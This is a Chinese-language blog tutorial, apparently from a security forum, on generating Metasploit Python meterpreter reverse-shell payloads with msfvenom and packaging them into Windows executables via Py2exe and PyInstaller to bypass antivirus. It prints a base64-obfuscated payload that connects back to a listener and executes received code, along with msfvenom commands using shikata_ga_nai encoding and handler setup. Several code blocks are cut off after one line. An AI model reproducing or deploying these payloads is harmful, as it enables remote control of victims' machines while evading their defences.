2019-07-16 首发于阿里先知: https://xz.aliyun.com/t/5657
本文主要介绍两种利用msf生成python版 payload,并利用Py2exe或PyInstaller将python文件转为exe文件,可成功bypass某些AV反弹shell
msf-python反弹shell姿势1
1) msfvenom生成python后门
1 | msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.20.131 LPORT=4444 -f raw -o /tmp/mrtp.py |
生成的mrtp.py文件如下:
1 | import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAuMTMxJyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg=='))) |
对其中的base64解码为:
1 | import socket,struct,time |
2)Py2exe将py后门转为exe
python环境装备
(1)安装Python 2.7 x86 windows版:
https://www.python.org/ftp/python/2.7.16/python-2.7.16.msi
*注意:必须使用x86版本Python 2.7。 即使Windows是x64的,也要安装32位版本。 并且将python.exe添加到环境变量。
(2)安装32位Py2exe for python 2.7
https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download
setup.py
setup.py 是利用Py2exe 将py转为exe
1 | #! /usr/bin/env python |
name、 description 、version是可选项
console = [“mrtp.py”] 表示生成控制台程序 可bypass 某些AV
将mrtp.py和setup.py 两个文件放到同一目录下
执行下面命令,即会在dist 目录下生成mrtp.exe
1 | python ./setup.py py2exe |
3) MSF开启监听&反弹shell
1 | msf5 > use exploit/multi/handler |
点击dist 目录下的mrtp.exe,即可成功反弹shell
msf-python反弹shell姿势2
1)msfvenom生成python shellcode
1 | msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.20.131 -e x86/shikata_ga_nai -i 11 -f py -o /tmp/mytest.py |
2) myshellcode.py
将上面生成的shellcode复制到myshellcode.py中
1 | #! /usr/bin/env python |
3)PyInstaller将py转为exe
pyinstaller同样可以将.py程序打包成windows下可以执行的exe文件。
pyinstaller依赖于pywin32,在使用pyinstaller之前,应先安装pywin32
pywin32下载后,点击下一步安装即可
https://sourceforge.net/projects/pywin32/files/pywin32
pyinstaller 下载后,解压,不用安装,即可使用
https://github.com/pyinstaller/pyinstaller/releases
1 | pyinstaller.py -F --console myshellcode.py |
4) MSF开启监听&反弹shell
1 | msf5 > use exploit/multi/handler |
点击dist 目录下的myshellcode.exe,即可成功反弹shell
本文只是简单介绍方法、抛砖引玉,当然还有很多可以优化改进的地方,大家可再完善。
参考
https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1
https://medium.com/AntiSec_Inc/combining-the-power-of-python-and-assembly-a4cf424be01d
https://nosec.org/home/detail/2727.html